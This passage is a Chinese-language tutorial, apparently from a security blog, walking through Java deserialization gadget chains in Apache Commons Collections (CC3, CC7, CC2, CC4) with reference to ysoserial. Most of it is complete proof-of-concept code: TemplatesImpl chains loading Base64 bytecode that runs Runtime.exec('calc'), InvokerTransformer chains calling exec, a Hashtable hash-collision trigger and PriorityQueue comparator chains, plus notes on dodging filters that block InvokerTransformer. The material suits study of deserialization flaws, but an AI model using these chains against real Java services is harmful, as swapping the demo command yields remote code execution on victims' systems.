且没有声明定义域 那么 默认的定义域就是default 可以被外部所调用的 但是 这个方法在其父类之中 是一个protected类型的方法 这也就给我们提供了可乘之机

其大体的调用链是这样的

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

在这个调用链中 最起始的两个方法 都是用public方法声明的 那么 我们就可以从外部来调用这两个方法

byte[] code =
Base64.getDecoder().decode("xxxx");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

这里再code中存放的就是字节码 然后 是对TemplatesImpl的实例化

同时 setFieldValue 又可以 对私有属性进行操作 便可以设置TemplatesImpl中的变量_bytecodes是字节码 _name是任意字符串_tfactory是一个TransformerFactoryImpl对象

我们可以想一下 我们在之前transformchain的基础之上 如果我们将ConstantTransformer替换成这里的TemplatesImpl​ 然后 将下面的InvokeTransformer改成这里 解字节码的方法 是不是就可以成功执行了呢

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc3demo {
    public static void main (String[] args){
        byte[] code =
                Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer",null,null)
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("123123","123123");
    }
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

尝试构造 一个demo

是可以成功执行的 然后我们将我们的demo和完整的cc3的poc对比一下 发现 在cc3中 并没有使用到InvokerTransformer 而是使用到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilte​

在这个类中直接给出了(TransformerImpl) templates.newTransformer();​ 也就避免了我们自己手动使用 InvokerTransformer​来实现的过程 同时 也因为 InvokerTransformer​经常会被过滤到 我们需要寻找一种新的方法来绕过

当我们不使用InvokerTransformer​ 的时候 我们会面临一个新的问题 我们需要获取TrAXFilter​的构造函数 再使用此构造方法 去调用 字节码 我们使用InstantiateTransformer​

可以看到 这个类就是用来获取构造方法的

再在原来的基础上 加上AnnotationInvocationHandler​ 类的反射调用 和 动态代理触发AnnotationInvocationHandler#invoke​方法即可构造出poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc3demo {
    public static void main (String[] args){
        byte[] code =
                Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("123123","123123");
    }
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

CommonsCollections 7

先放出ysoserial的调用链

同样的CC7也是通过LazyMap.get() 来触发Transformer数组的 同样的 我们只需要去找谁调用到了get即可

我们从ysoserial的poc中 我们可以发现一个新面孔

根据上面的注释 我们不难得知 这里通过两个对象的碰撞来触发的

看一下Hashtable的readObject

for循环 将传入的key和value的序列化流读出来 填入reconstitutionPut​

先对传入的key求hash 然后计算在table中的index索引 Entry中储存着key和value Entry在table中 下面的for循环 中比较hash 比较完之后 进入equals 也是判断 在判断完之后 会添加进去

在equals中 存在get的调用

在此处触发LazyMap.get()

也就是 这里的m是LazyMap的话 就可以成功调用

但是 在这之前 我们需要 满足一个条件 就是上面的if中 我们需要构造两个hashcode相等的HashTable

我们借助一个小demo 来测试一下这里的hashcode的计算

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class cc7test {
    public static void main(String[] args){
        Map innerMap1 = new HashMap();
        innerMap1.put("123",1);
        Map innerMap2 = new HashMap();
        innerMap2.put("y0",1);

        ConstantTransformer transformer = new ConstantTransformer(1);
        Map Lazymap = LazyMap.decorate(innerMap1,transformer);
        System.out.println(Lazymap.hashCode());
    }
}

这个跟到最后 发现是一个Integer类型的 仅会返回一个值 那么我们传一个String类型的会怎么加密呢

我们将innerMap2传入

public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

发现其加密方式 这样稍微复杂一点的可以多给我们一些可乘之机

我们来细嗦一下这里的加密

当我们传入的值是两个字符的时候 这里的加密就转变成了

​31*ASCII(s1[0]) + ASCII(s1[1])​

知道了这个加密的方式 我们就可以比较容易的构造相同数值的两个字符串

pP 3552

oo 3552

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException,
            IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeformers = new Transformer[]{new
                ConstantTransformer(2)};
        Transformer[] transforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,
                        Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new
                ChainedTransformer(fakeformers);
        Map innerMap1 = new HashMap();
        innerMap1.put("pP",1);
        Map innerMap2 = new HashMap();
        innerMap2.put("oo",1);
        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,2);
        lazyMap2.remove("pP");
        Class clazz = ChainedTransformer.class;
        Field field = clazz.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transforms);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashtable);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }
}

CommonsCollections 2

目前commons-collections有两个大版本 cc2和cc4是面向 commons-collections4的 之前我们一直在探讨commons-collections3的问题

先上调用链

我们之前的cc1和cc3链 都能在4中跑通 但是 需要将LazyMap.decorate处改为LazyMap.lazyMap.decorate

PriorityQueue利用链

在commons-collections中找利用链就是从Serializable#readObject()​到Transformer#transform()​的过程

我们可以看到 上面ysoserial并没有给出完整的调用链

在PriorityQueue中 跟进heapify

跟进siftDownUsingComparator​

跟进compare

看到了transform 最终调用栈如下

尝试写一下poc

这里的PriorityQueue​ 有两个参数 第一个参数是初始化时的大小 至少需要2个元素才会触发排序和比较,所以是2 第二个参数黄前面实例化的comparator传入即可

还要向其中添加数据

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class cc2test {
    public static void main(String[] args) throws  Exception{
        org.apache.commons.collections4.Transformer[] transformer = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class },new Object[]{"getRuntime",new Class[0] }),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        Comparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

‍

CommonsCollections 4

在cc链2的基础上 将InvokerTransformer​替换成 InstantiateTransformer​ 利用字节码来执行命令

import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) throws Exception{
        byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] transformer = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        ByteArrayOutputStream baos = new ByteArrayOutputStream( );
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(priorityQueue);
        oos.flush();
        oos.close();

        ByteArrayInputStream bais =new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }


}

Ending

在这些调用链中 我们首先分成两类 commons-collections3和commons-collection4 版本4下的调用链通过 在版本4中增加了序列化接口的TransformingComparator​ 和 自己有readObject()​方法的PriorityQueue​来实现从Serializable#readObject()​到Transformer#transform()​的 其实 在版本3中 这个调用的总体方向也是相同的 只是其中过程中使用到的方法各有不同 在实现了调用后 还可以通过字节码或者直接调用来执行命令 这些都对我们绕过诸多的过滤有所帮助。

参考文章

https://xz.aliyun.com/t/9409

https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/

https://blog.csdn.net/u011240877/article/details/54604212

‍

‍